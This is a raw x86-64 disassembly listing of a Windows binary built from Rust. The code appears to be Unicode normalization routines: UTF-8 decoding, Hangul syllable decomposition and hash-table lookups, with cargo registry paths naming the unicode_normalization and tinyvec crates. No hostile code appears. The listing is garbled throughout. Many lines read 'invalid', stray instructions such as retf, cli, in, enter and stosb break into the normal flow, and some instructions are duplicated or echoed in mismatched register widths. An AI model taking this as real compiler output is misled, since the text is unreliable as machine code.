mov r9, qword [rsi + 0x50]
test r9, r9
jne 0x140040580
mov rcx, qword [rsi + 0x38]
test rcx, rcx
je 0x14004075a
cmp rcx, qword [rsi + 0x40]
je 0x14004075a
lea rax, [rcx + 1]
mov qword [rsi + 0x38], rax
movzx r8d, byte [rcx]
movzx edx, r8b
test dl, dl
jns 0x1400404c0
mov eax, edx
and eax, 0x1f
lea r9, [rcx + 2]
mov qword [rsi + 0x38], r9
movzx r10d, byte [rcx + 1]
and r10d, 0x3f
cmp dl, 0xdf
jbe 0x1400405a3
lea rdx, [rcx + 3]
mov qword [rsi + 0x38], rdx
movzx r9d, byte [rcx + 2]
shl r10d, 6
and r9d, 0x3f
or r9d, r10d
cmp r8b, 0xf0
jb 0x14004069a
lea rdx, [rcx + 4]
mov qword [rsi + 0x38], rdx
movzx edx, byte [rcx + 3]
and eax, 7
shl eax, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, eax
cmp edx, 0x110000
je 0x14004075a
nop dword [rax + rax]
cmp byte [rsi + 0x58], 0
je 0x1400405c0
cmp edx, 0x80
jb 0x14004040d
invalid
invalid
invalid
invalid
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x1400403a5
invalid
invalid
invalid
invalid
mov ebx, 0x69fffffe
retf 0x79b9
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x14015f4e8]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x1401612b0]
mov r15, qword [r9 + r8*8]
cmp edx, r15d
jne 0x1400406b2
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x140040b7d
shr r15, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp r15, rdx
ja 0x140040b6e
lea rax, [0x1401689d0]
lea r12, [rax + rcx*4]
test r15, r15
jne 0x140040732
jmp 0x140040415
mov eax, dword [rbx]
mov rcx, qword [r14]
test eax, eax
je 0x1400407cb
mov r8, qword [rsi + 0x20]
mov rdx, qword [rsi + 0x28]
cmp rcx, rdx
jb 0x1400407e5
jmp 0x140040aab
shl eax, 6
or eax, r10d
mov edx, eax
cmp byte [rsi + 0x58], 0
jne 0x1400404ca
nop word cs:[rax + rax]
cmp edx, 0x80
jb 0x14004040d
lea r15d, [rdx - 0xac00]
cmp r15d, 0x2ba4
jb 0x1400403a5
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x140156e80]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x140157e9c]
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x14004040d
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140040b5d
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040b4e
test r15, r15
je 0x140040415
lea rax, [0x14015bf04]
lea r12, [rax + rcx*4]
shl r15d, 2
xor ebp, ebp
nop word cs:[rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.1400415b0
add rbp, 4
cmp r15, rbp
jne 0x140040680
jmp 0x140040415
shl eax, 0xc
or r9d, eax
mov edx, r9d
cmp byte [rsi + 0x58], 0
jne 0x1400404ca
jmp 0x1400405c0
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x140156e80]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x140157e9c]
mov r15, qword [rcx + rax*8]
cmp edx, r15d
jne 0x14004040d
mov rax, r15
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140040b5d
shr r15, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r15, rdx
ja 0x140040b4e
lea rax, [0x14015bf04]
lea r12, [rax + rcx*4]
test r15, r15
je 0x140040415
shl r15d, 2
xor ebp, ebp
nop dword [rax + rax]
mov edx, dword [r12 + rbp]
mov rcx, rbx
call fcn.1400415b0
add rbp, 4
cmp r15, rbp
jne 0x140040740
jmp 0x140040415
cmp dword [rbx], 0
je 0x140040791
mov rdx, qword [rsi + 0x28]
test rdx, rdx
je 0x140040a2d
mov rcx, qword [rsi + 0x20]
call fcn.140040db0
mov eax, dword [rsi + 0x10]
test eax, eax
je 0x1400407b7
mov r9, qword [rsi + 0x28]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14004058d
jmp 0x1400407cb
movzx edx, word [rsi + 0x14]
test rdx, rdx
je 0x140040a2d
cmp dx, 5
jae 0x140040b8e
mov rcx, r13
call fcn.140040db0
mov eax, dword [rsi + 0x10]
test eax, eax
jne 0x14004077c
movzx r9d, word [rsi + 0x14]
mov qword [rsi + 0x50], r9
mov rcx, qword [r14]
test eax, eax
jne 0x14004058d
movzx edx, word [rsi + 0x14]
cmp rdx, 5
jae 0x140040b3a
mov r8, r13
cmp rcx, rdx
jae 0x140040aab
mov ebp, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x140040884
test eax, eax
je 0x140040889
mov r8, qword [rsi + 0x28]
sub r8, r9
je 0x140040897
xor ecx, ecx
jmp 0x14004082f
movzx edx, byte [r9 + rax*8]
mov eax, dword [r9 + rax*8 + 4]
mov byte [r9 + rcx*8], dl
mov dword [r9 + rcx*8 + 4], eax
lea rax, [rcx + 1]
mov rcx, rax
mov ecx, eax
mov ecx, eax
cmp r8, rax
je 0x1400408a7
mov rax, qword [rsi + 0x50]
add rax, rcx
add eax, ecx
add eax, ecx
cmp dword [rsi + 0x10], 0
je 0x140040860
mov rdx, qword [rsi + 0x28]
cmp rax, rdx
jae 0x140040a88
invalid
add al, byte [rax]
invalid
invalid
mov r9, qword [rsi + 0x20]
cmp rcx, rdx
cmp ecx, edx
cmp ecx, edx
jb 0x140040810
jmp 0x140040a97
movzx edx, word [rsi + 0x14]
cmp rdx, 5
jae 0x140040b3a
cmp rax, rdx
jae 0x140040a88
mov r9, r13
cmp rcx, rdx
jb 0x140040810
jmp 0x140040a97
mov qword [r14], rcx
jmp 0x1400408bf
movzx r8d, word [rsi + 0x14]
sub r8, r9
jne 0x14004080b
test eax, eax
je 0x1400408ad
cmp qword [rsi + 0x28], r8
jb 0x1400408bb
mov qword [rsi + 0x28], r8
jmp 0x1400408bb
mov eax, dword [rbx]
test eax, eax
jne 0x14004089b
movzx eax, word [rsi + 0x14]
cmp r8, rax
jae 0x1400408bb
mov word [rsi + 0x14], r8w
movups xmmword [r14], xmm6
imul eax, ebp, 0x9e3779b9
imul ecx, ebp, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x1401534a4]
movzx eax, word [rdx + rax*2]
add eax, ebp
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
mov r12d, dword [rdi + rax*4]
mov eax, r12d
shr eax, 8
cmp eax, ebp
mov eax, 0
cmovne r12d, eax
mov r15d, dword [rsi + 0x80]
cmp r15d, 0x110000
jne 0x140040931
test r12b, r12b
jne 0x140040a5f
invalid
add byte [rcx + 0x80ae], cl
add cl, ch
in al, 0xfa
cli
mov dword [rsi + 0x80], ebp
jmp 0x140040415
cli
invalid
invalid
cli
invalid
cmp byte [rsi + 0x84], 0
je 0x14004095f
cmp byte [rsi + 0x85], r12b
jae 0x14004097a
mov ecx, r15d
mov edx, ebp
call fcn.1400f54e0
cmp eax, 0x110000
je 0x140040983
mov dword [rsi + 0x80], eax
jmp 0x140040415
mov ecx, r15d
mov edx, ebp
call fcn.1400f54e0
cmp eax, 0x110000
jne 0x1400409d9
test r12b, r12b
jne 0x140040983
jmp 0x140040aa3
test r12b, r12b
je 0x140040a67
mov rax, qword [rsp + 0x20]
cmp dword [rax], 0
je 0x1400409b2
mov r15, qword [rsi + 0x78]
cmp r15, qword [rsi + 0x68]
jne 0x1400409a1
mov rcx, qword [rsp + 0x28]
call fcn.1400f62c0
mov rax, qword [rsi + 0x70]
mov dword [rax + r15*4], ebp
inc r15
mov qword [rsi + 0x78], r15
jmp 0x1400409c6
movzx eax, word [rsi + 0x64]
cmp rax, 3
ja 0x1400409e4
mov dword [rsi + rax*4 + 0x68], ebp
inc eax
mov word [rsi + 0x64], ax
mov byte [rsi + 0x84], 1
mov byte [rsi + 0x85], r12b
jmp 0x140040415
mov dword [rsi + 0x80], eax
jmp 0x140040415
lea rdx, [rsi + 0x64]
lea rcx, [rsp + 0x30]
mov r8d, ebp
call fcn.14010a390
cmp dword [rsi + 0x60], 0
je 0x140040a15
cmp qword [rsi + 0x68], 0
je 0x140040a15
mov r8, qword [rsi + 0x70]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rsp + 0x30]
movups xmm1, xmmword [rsp + 0x40]
mov rax, qword [rsp + 0x20]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
jmp 0x1400409c6
mov qword [rsi], 2
mov qword [rsi + 8], 0
mov r15d, dword [rsi + 0x80]
mov edx, 2
mov eax, 0
cmp r15d, 0x110000
je 0x140040327
jmp 0x140040b17
mov r15d, ebp
jmp 0x140040b21
mov dword [rsi + 0x80], ebp
mov byte [rsi + 0x84], 0
mov qword [rsi], 1
mov qword [rsi + 8], 0
jmp 0x140040b21
lea r8, [0x14012c1f0]
mov rcx, rax
call fcn.1401082d0
lea r8, [0x14012c208]
call fcn.1401082d0
mov dword [rsi + 0x80], ebp
jmp 0x140040b21
lea r8, [0x14012c1d8]
call fcn.1401082d0
cmp rax, r8
jb 0x140040adb
mov qword [rsi + 0x78], 0
jmp 0x140040b10
cmp r8w, 5
jae 0x140040ba2
cmp rax, rcx
mov rcx, qword [rsp + 0x28]
jae 0x140040b04
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 2
jmp 0x140040afe
mov rcx, qword [rsp + 0x28]
mov r15d, dword [rcx + rax*4]
inc rax
mov qword [rsi], 1
mov qword [rsi + 8], rax
jmp 0x140040b21
test r8w, r8w
je 0x140040b10
mov word [rsi + 0x64], 0
mov r15d, dword [rsi + 0x80]
mov dword [rsi + 0x80], 0x110000
mov eax, r15d
movaps xmm6, xmmword [rsp + 0x50]
add rsp, 0x68
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0xd4e
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov rcx, r15
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001funicode_normalization_0.1.23_srclookups.rs
mov edx, 0x1667
call fcn.1401082c0
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov rcx, rdx
mov edx, 4
call fcn.140108340
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tinyvec_1.6.0_src_arrayvec.rs
mov edx, 4
call fcn.140108340
int3
xor dword [r9], esi
ror dword [rax + 0x69], 1
leave
xchg edx, eax
or dword [rax], eax
add byte [rax - 0x3f], cl
shr ecx, 0x20
invalid
invalid
invalid
shr ecx, 0x20
lea r8, [0x14016e3a0]
movzx ecx, word [r8 + rcx*2]
add ecx, eax
imul ecx, ecx, 0x9e3779b9
xor ecx, edx
imul rcx, rcx, 0x992
imul ecx, ecx, 0x992
imul ecx, ecx, 0x992
shr rcx, 0x20
lea r8, [0x14016f6c4]
mov edx, 3
cmp dword [r8 + rcx*4], eax
jne 0x140040cc3
mov byte [rsi + rdx], 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
pop r15
ret
mov ebp, edi
shr ebp, 8
lea r15, [0x140176f80]
jmp 0x140040ce6
mov eax, edi
test al, al
jne case.0x140040d8e.1
cmp r14, rbx
je 0x140040cb6
movzx r8d, byte [r14]
movzx ecx, r8b
test cl, cl
js 0x140040d00
inc r14
jmp 0x140040d70
mov eax, ecx
and eax, 0x1f
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp cl, 0xdf
jbe 0x140040d4f
movzx edx, byte [r14 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140040d5d
movzx ecx, byte [r14 + 3]
and eax, 7
shl eax, 0x12
shl edx, 6
and ecx, 0x3f
or ecx, edx
or ecx, eax
cmp ecx, 0x110000
je 0x140040cb6
add r14, 4
jmp 0x140040d70
add r14, 2
shl eax, 6
or eax, r9d
mov ecx, eax
jmp 0x140040d70
add r14, 3
shl eax, 0xc
or edx, eax
mov ecx, edx
nop dword [rax + rax]
call fcn.14003ffd0
movzx eax, byte [rax]
mov edx, 4
cmp rax, 7
ja case.0x140040d8e.1
movsxd rax, dword [r15 + rax*4]
add rax, r15
jmp rax
xor eax, eax
jmp 0x140040ce2
mov eax, ebp
jmp 0x140040ce2
mov ebx, dword [rsp + 0xd0]
mov r14, qword [rsp + 0xe0]
test ebx, ebx
je 0x140041ca0
test rdx, rdx
je 0x140041d57
mov rcx, qword [rsp + 0xe8]
cmp rdx, 1
jne 0x1400427b3
cmp rax, rcx
jb 0x1400427f3
mov qword [rsp + 0xe8], 0
jmp 0x140041ce4
test rdx, rdx
je 0x140041d57
movzx r8d, word [rsp + 0xd4]
movzx ecx, r8w
cmp rdx, 1
jne 0x1400427bd
cmp r8w, 4
ja 0x140044bf7
cmp rax, rcx
jb 0x1400427eb
test r8w, r8w
je 0x140041ce4
mov word [rsp + 0xd4], 0
mov qword [rsp + 0x50], 0
jmp 0x140041d57
movzx ebx, si
imul edi, ebx, 0x6f75
shr edi, 0x18
lea edx, [rdi + 0x1100]
mov rcx, r12
call fcn.1400400b0
imul eax, edi, 0x24c
sub esi, eax
movzx eax, si
imul edx, eax, 0x925
shr edx, 0x10
add edx, 0x1161
mov rcx, r12
call fcn.1400400b0
mov eax, ebx
shr eax, 2
imul eax, eax, 0x4925
shr eax, 0x11
lea ecx, [rax + rax*8]
lea ecx, [rcx + rcx*2]
add ecx, eax
sub bx, cx
je 0x140041d57
add ebx, 0x11a7
movzx edx, bx
mov rcx, r12
call fcn.1400400b0
mov r9, qword [rsp + 0xc0]
test r9, r9
jne 0x1400420d0
movzx r10d, byte [rsp + 0xb0]
cmp r10b, 2
je 0x140042551
mov r8, qword [rsp + 0xa0]
mov r14, qword [rsp + 0x88]
mov r11, qword [rsp + 0x90]
mov rax, qword [rsp + 0x98]
movzx ebp, byte [rsp + 0xb1]
mov rbx, qword [rsp + 0xa8]
test r8, r8
je 0x140041e5b
cmp r8, rbx
je 0x140041e4f
lea rcx, [r8 + 1]
mov qword [rsp + 0xa0], rcx
movzx esi, byte [r8]
movzx edx, sil
test dl, dl
jns 0x1400423b2
mov ecx, edx
and ecx, 0x1f
lea r9, [r8 + 2]
mov qword [rsp + 0xa0], r9
movzx edi, byte [r8 + 1]
and edi, 0x3f
cmp dl, 0xdf
jbe 0x1400426a9
lea rdx, [r8 + 3]
mov qword [rsp + 0xa0], rdx
movzx r9d, byte [r8 + 2]
shl edi, 6
invalid
and r9d, 0x3f
or r9d, edi
cmp sil, 0xf0
jb 0x1400426b5
invalid
lea rdx, [r8 + 4]
mov qword [rsp + 0xa0], rdx
movzx edx, byte [r8 + 3]
and ecx, 7
shl ecx, 0x12
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
cmp edx, 0x110000
jne case.0x140042028.0
mov qword [rsp + 0xa0], 0
cmp r14, r11
je 0x140042549
lea rcx, [r14 + 1]
mov qword [rsp + 0x88], rcx
movzx r8d, byte [r14]
movzx edx, r8b
test dl, dl
js 0x140041e90
mov r14, rcx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140041f40
jmp 0x1400423b2
mov ecx, edx
and ecx, 0x1f
lea rsi, [r14 + 2]
mov qword [rsp + 0x88], rsi
movzx r9d, byte [r14 + 1]
and r9d, 0x3f
cmp dl, 0xdf
jbe 0x140041f07
lea rsi, [r14 + 3]
mov qword [rsp + 0x88], rsi
movzx edx, byte [r14 + 2]
shl r9d, 6
and edx, 0x3f
or edx, r9d
cmp r8b, 0xf0
jb 0x140041f1f
lea r8, [r14 + 4]
mov qword [rsp + 0x88], r8
movzx r9d, byte [r14 + 3]
and ecx, 7
shl ecx, 0x12
shl edx, 6
and r9d, 0x3f
or r9d, edx
or r9d, ecx
mov r14, r8
mov edx, r9d
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140041f40
jmp 0x1400423b2
shl ecx, 6
or ecx, r9d
mov r14, rsi
mov edx, ecx
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jae 0x140041f40
jmp 0x1400423b2
shl ecx, 0xc
or edx, ecx
mov r14, rsi
lea ecx, [rdx - 0x2d]
cmp ecx, 2
jb 0x1400423b2
nop word cs:[rax + rax]
cmp edx, 0x110000
je 0x140042549
lea ecx, [rdx - 0x61]
cmp ecx, 0x1a
jb 0x1400423b2
lea ecx, [rdx - 0x30]
cmp ecx, 0xa
jb 0x1400423b2
mov r8d, 0x75a
xor ecx, ecx
mov r9d, 0x75a
nop word cs:[rax + rax]
shr r8, 1
add r8, rcx
mov esi, dword [r15 + r8*8]
cmp esi, edx
je 0x140041fb7
lea rdi, [r8 + 1]
cmp esi, edx
cmova r9, r8
cmovb rcx, rdi
mov r8, r9
sub r8, rcx
ja 0x140041f80
dec rcx
mov r8, rcx
cmp rcx, 0x759
ja 0x140042a6a
movzx r9d, word [r15 + r8*8 + 4]
mov ecx, r9d
and ecx, 0x7fff
test r9w, r9w
js 0x140041ff0
movzx r8d, word [r15 + r8*8]
mov r9d, edx
sub r9w, r8w
movzx ecx, cx
add ecx, r9d
movzx ecx, cx
cmp ecx, 0x1f73
jb 0x140042001
jmp 0x140042a82
xchg esp, eax
or al, byte [rax]
add byte [rsi - 0x70], ah
movzx r8d, cx
cmp r8d, 0x1f73
jae 0x140042a93
movzx r9d, byte [r13 + rcx*4]
mov r8d, 0
cmp r9d, 1
je case.default.0x140042028
mov r8d, r9d
lea r9, [0x1401773b0]
movsxd r8, dword [r9 + r8*4]
add r8, r9
jmp r8
mov eax, dword [rsp + 0x60]
lea rsi, [rsp + 0x68]
mov rcx, qword [rsp + 0xb8]
test eax, eax
je 0x1400420f9
mov r8, qword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
cmp rcx, rdx
jb 0x140042114
jmp 0x140042aa4
movzx edx, word [rsp + 0x64]
cmp rdx, 5
jae 0x140044b3f
mov r8, rsi
cmp rcx, rdx
jae 0x140042aa4
mov r14d, dword [r8 + rcx*8 + 4]
inc rcx
cmp rcx, r9
jne 0x1400421d0
test eax, eax
je 0x1400421da
mov r8, qword [rsp + 0x78]
sub r8, r9
je 0x1400421e9
xor ecx, ecx
jmp 0x140042163
movzx edx, byte [r9 + rax*8]
mov eax, dword [r9 + rax*8 + 4]
mov byte [r9 + rcx*8], dl
mov dword [r9 + rcx*8 + 4], eax
lea rax, [rcx + 1]
mov rcx, rax
cmp r8, rax
je 0x1400421fb
mov rax, qword [rsp + 0xc0]
add rax, rcx
cmp dword [rsp + 0x60], 0
je 0x1400421a0
mov rdx, qword [rsp + 0x78]
cmp rax, rdx
jae 0x1400429ce
or dword [rbx + 8], 0
invalid
or dword [rbx + 8], 0
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x70
mov r9, qword [rsp + 0x70]
cmp rcx, rdx
jb 0x140042140
jmp 0x1400429dd
movzx edx, word [rsp + 0x64]
cmp rdx, 5
jae 0x140044b3f
cmp rax, rdx
jae 0x1400429ce
mov r9, rsi
cmp rcx, rdx
jb 0x140042140
jmp 0x1400429dd
mov qword [rsp + 0xb8], rcx
jmp 0x14004222b
movzx r8d, word [rsp + 0x64]
sub r8, r9
jne 0x14004213b
test eax, eax
je 0x140042203
cmp qword [rsp + 0x78], r8
jb 0x140042220
mov qword [rsp + 0x78], r8
jmp 0x140042220
mov eax, dword [rsp + 0x60]
test eax, eax
jne 0x1400421ed
movzx eax, word [rsp + 0x64]
cmp r8, rax
jae 0x140042220
mov word [rsp + 0x64], r8w
nop word cs:[rax + rax]
lea rax, [rsp + 0xb8]
movups xmmword [rax], xmm6
imul eax, r14d, 0x9e3779b9
imul ecx, r14d, 0x31415926
xor eax, ecx
imul rax, rax, 0x39a
shr rax, 0x20
lea rdx, [0x1401534a4]
movzx eax, word [rdx + rax*2]
add eax, r14d
imul eax, eax, 0x9e3779b9
mov ecx, 0x319e3779
enter 0x6948, 0xffffffffffffffc0
invalid
add eax, dword [rax]
add byte [rax - 0x3f], cl
call 0x14d916a8a
push 0x19
adc dword [rax], eax
mov ebx, dword [rcx + rax*4]
mov eax, ebx
shr eax, 8
cmp eax, r14d
mov eax, 0
cmovne ebx, eax
mov ebp, dword [rsp + 0xf0]
cmp ebp, 0x110000
jne 0x1400422b0
mov ecx, 0x319e3779
enter 0x6948, 0xffffffffffffffc0
invalid
test bl, bl
jne 0x140042730
mov dword [rsp + 0xf0], r14d
jmp 0x140041d57
cmp byte [rsp + 0xf4], 0
je 0x1400422e0
cmp byte [rsp + 0xf5], bl
jae 0x1400422fe
mov ecx, ebp
mov edx, r14d
call fcn.1400f54e0
cmp eax, 0x110000
je 0x140042306
mov dword [rsp + 0xf0], eax
jmp 0x140041d57
mov ecx, ebp
mov edx, r14d
call fcn.1400f54e0
cmp eax, 0x110000
jne 0x1400425f2
test bl, bl
jne 0x140042306
jmp 0x1400427a6
test bl, bl
je 0x14004277f
cmp dword [rsp + 0xd0], 0
je 0x140042348
mov rsi, qword [rsp + 0xe8]
cmp rsi, qword [rsp + 0xd8]
jne 0x14004232f
lea rcx, [rsp + 0xd8]
call fcn.1400f62c0
mov rax, qword [rsp + 0xe0]
mov dword [rax + rsi*4], r14d
inc rsi
mov qword [rsp + 0xe8], rsi
jmp 0x14004236c
movzx eax, word [rsp + 0xd4]
cmp rax, 3
ja 0x1400426c3
mov dword [rsp + rax*4 + 0xd8], r14d
inc eax
mov word [rsp + 0xd4], ax
mov byte [rsp + 0xf4], 1
mov byte [rsp + 0xf5], bl
jmp 0x140041d57
cmp edx, 0x110000
je 0x140042549
cmp byte [rsp + 0xc8], 0
je 0x140042473
cmp edx, 0x80
jb 0x140041d4f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x140041cef
imul ecx, edx, 0x9e3779b9
imul eax, edx, 0x31415926
xor ecx, eax
imul r8, rcx, 0xee4
shr r8, 0x20
lea r9, [0x14015f4e8]
movzx r8d, word [r9 + r8*2]
add r8d, edx
imul r8d, r8d, 0x9e3779b9
xor r8d, eax
imul r8, r8, 0xee4
shr r8, 0x20
lea r9, [0x1401612b0]
mov rbp, qword [r9 + r8*8]
cmp edx, ebp
jne 0x1400425fe
mov rax, rbp
shr rax, 0x20
shr eax, 0x20
shr eax, 0x20
movzx ecx, ax
cmp rcx, 0x1668
jae 0x140044bad
shr rbp, 0x30
mov edx, 0x1667
sub rdx, rcx
cmp rbp, rdx
ja 0x140044bbe
lea rax, [0x1401689d0]
lea rbx, [rax + rcx*4]
test rbp, rbp
jne 0x14004267d
jmp 0x140041d57
cmp edx, 0x80
jb 0x140041d4f
lea esi, [rdx - 0xac00]
cmp esi, 0x2ba4
jb 0x140041cef
imul eax, edx, 0x9e3779b9
imul ecx, edx, 0x31415926
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea r8, [0x140156e80]
movzx eax, word [r8 + rax*2]
add eax, edx
imul eax, eax, 0x9e3779b9
xor eax, ecx
imul rax, rax, 0x80d
shr rax, 0x20
lea rcx, [0x140157e9c]
mov r14, qword [rcx + rax*8]
cmp edx, r14d
jne 0x140041d4f
mov rax, r14
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044b9c
shr r14, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp r14, rdx
ja 0x140044bcd
test r14, r14
je 0x140041d57
lea rax, [0x14015bf04]
lea rsi, [rax + rcx*4]
shl r14d, 2
xor edi, edi
nop word cs:[rax + rax]
mov edx, dword [rsi + rdi]
mov rcx, r12
call fcn.1400400b0
add rdi, 4
cmp r14, rdi
jne 0x140042530
jmp 0x140041d57
mov byte [rsp + 0xb0], 2
cmp dword [rsp + 0x60], 0
je 0x140042585
mov rdx, qword [rsp + 0x78]
test rdx, rdx
lea rsi, [rsp + 0x68]
je 0x140042740
mov r8, qword [rsp + 0x70]
mov rcx, qword [rsp + 0xc0]
mov rax, rdx
sub rax, rcx
jae 0x1400425b9
jmp 0x140044b7c
movzx edx, word [rsp + 0x64]
test rdx, rdx
lea rsi, [rsp + 0x68]
je 0x140042740
cmp dx, 5
jae 0x140044b88
mov r8, rsi
mov rcx, qword [rsp + 0xc0]
mov rax, rdx
sub rax, rcx
jb 0x140044b7c
lea rcx, [r8 + rcx*8]
mov rdx, rax
call fcn.140040db0
mov eax, dword [rsp + 0x60]
and al, 0x60
and al, 0x60
test eax, eax
je 0x1400425df
mov r9, qword [rsp + 0x78]
mov qword [rsp + 0xc0], r9
jmp 0x1400420d9
movzx r9d, word [rsp + 0x64]
mov qword [rsp + 0xc0], r9
jmp 0x1400420d9
mov dword [rsp + 0xf0], eax
jmp 0x140041d57
imul rcx, rcx, 0x80d
shr rcx, 0x20
lea r8, [0x140156e80]
movzx ecx, word [r8 + rcx*2]
add ecx, edx
imul ecx, ecx, 0x9e3779b9
xor ecx, eax
imul rax, rcx, 0x80d
shr rax, 0x20
lea rcx, [0x140157e9c]
mov rbp, qword [rcx + rax*8]
cmp edx, ebp
jne 0x140041d4f
mov rax, rbp
shr rax, 0x20
movzx ecx, ax
cmp rcx, 0xd4f
jae 0x140044b9c
shr rbp, 0x30
mov edx, 0xd4e
sub rdx, rcx
cmp rbp, rdx
ja 0x140044bdc
lea rax, [0x14015bf04]
lea rbx, [rax + rcx*4]
test rbp, rbp
je 0x140041d57
shl ebp, 2
xor esi, esi
nop word cs:[rax + rax]
mov edx, dword [rbx + rsi]
mov rcx, r12
call fcn.1400400b0
add rsi, 4
cmp rbp, rsi
jne 0x140042690
jmp 0x140041d57
shl ecx, 6
or ecx, edi
mov edx, ecx
jmp 0x1400423b2
shl ecx, 0xc
or r9d, ecx
mov edx, r9d
jmp 0x1400423b2
lea rcx, [rsp + 0x168]
lea rdx, [rsp + 0xd4]
mov r8d, r14d
call fcn.14010a390
cmp dword [rsp + 0xd0], 0
je 0x140042707
cmp qword [rsp + 0xd8], 0
je 0x140042707
mov r8, qword [rsp + 0xe0]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movdqu xmm0, xmmword [rsp + 0x168]
movups xmm1, xmmword [rsp + 0x178]
lea rax, [rsp + 0xb8]
movups xmmword [rax + 0x28], xmm1
movdqu xmmword [rax + 0x18], xmm0
jmp 0x14004236c
mov ebp, r14d
jmp 0x140042850
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x58], 0
mov ebp, dword [rsp + 0xf0]
mov edx, 2
mov eax, 0
cmp ebp, 0x110000
je 0x140041c59
mov dword [rsp + 0xf0], 0x110000
jmp 0x140042850
mov dword [rsp + 0xf0], r14d
mov byte [rsp + 0xf4], 0
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], 0
jmp 0x140042850
stosb byte [rdi], al
add byte [rax], al
invalid
stosb byte [rdi], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], al
and al, 0xf0
add byte [rax], al
add cl, ch
popfq
add byte [rax], al
add byte [rax + 0x39], cl
enter 0x5273, 0x4c
mov edx, esi
mov dword [rsp + 0xf0], r14d
jmp 0x140042850
cmp rax, rcx
jae 0x14004280a
mov rdx, r14
jmp 0x1400427d5
cmp r8w, 5
jae 0x140044bf7
lea rdx, [rsp + 0xd8]
cmp rax, rcx
jae 0x140042818
mov ebp, dword [rdx + rax*4]
inc rax
mov qword [rsp + 0x50], 2
mov qword [rsp + 0x58], rax
jmp 0x140042850
lea r14, [rsp + 0xd8]
mov ebp, dword [r14 + rax*4]
inc rax
mov qword [rsp + 0x50], 1
mov qword [rsp + 0x58], rax
jmp 0x140042850
mov qword [rsp + 0xe8], 0
jmp 0x140042828
test r8w, r8w
je 0x140042828
mov word [rsp + 0xd4], 0
mov ebp, dword [rsp + 0xf0]
mov dword [rsp + 0xf0], 0x110000
cmp ebp, 0x110000
je 0x140042ae9
nop word cs:[rax + rax]
mov rcx, qword [rsp + 0x110]
mov edx, ebp
call fcn.1400f6a00
mov rdx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
jmp 0x140041c59
mov rcx, qword [r13 + 8]
add rcx, r14
mov rdx, r8
mov r8, r9
mov rsi, r9
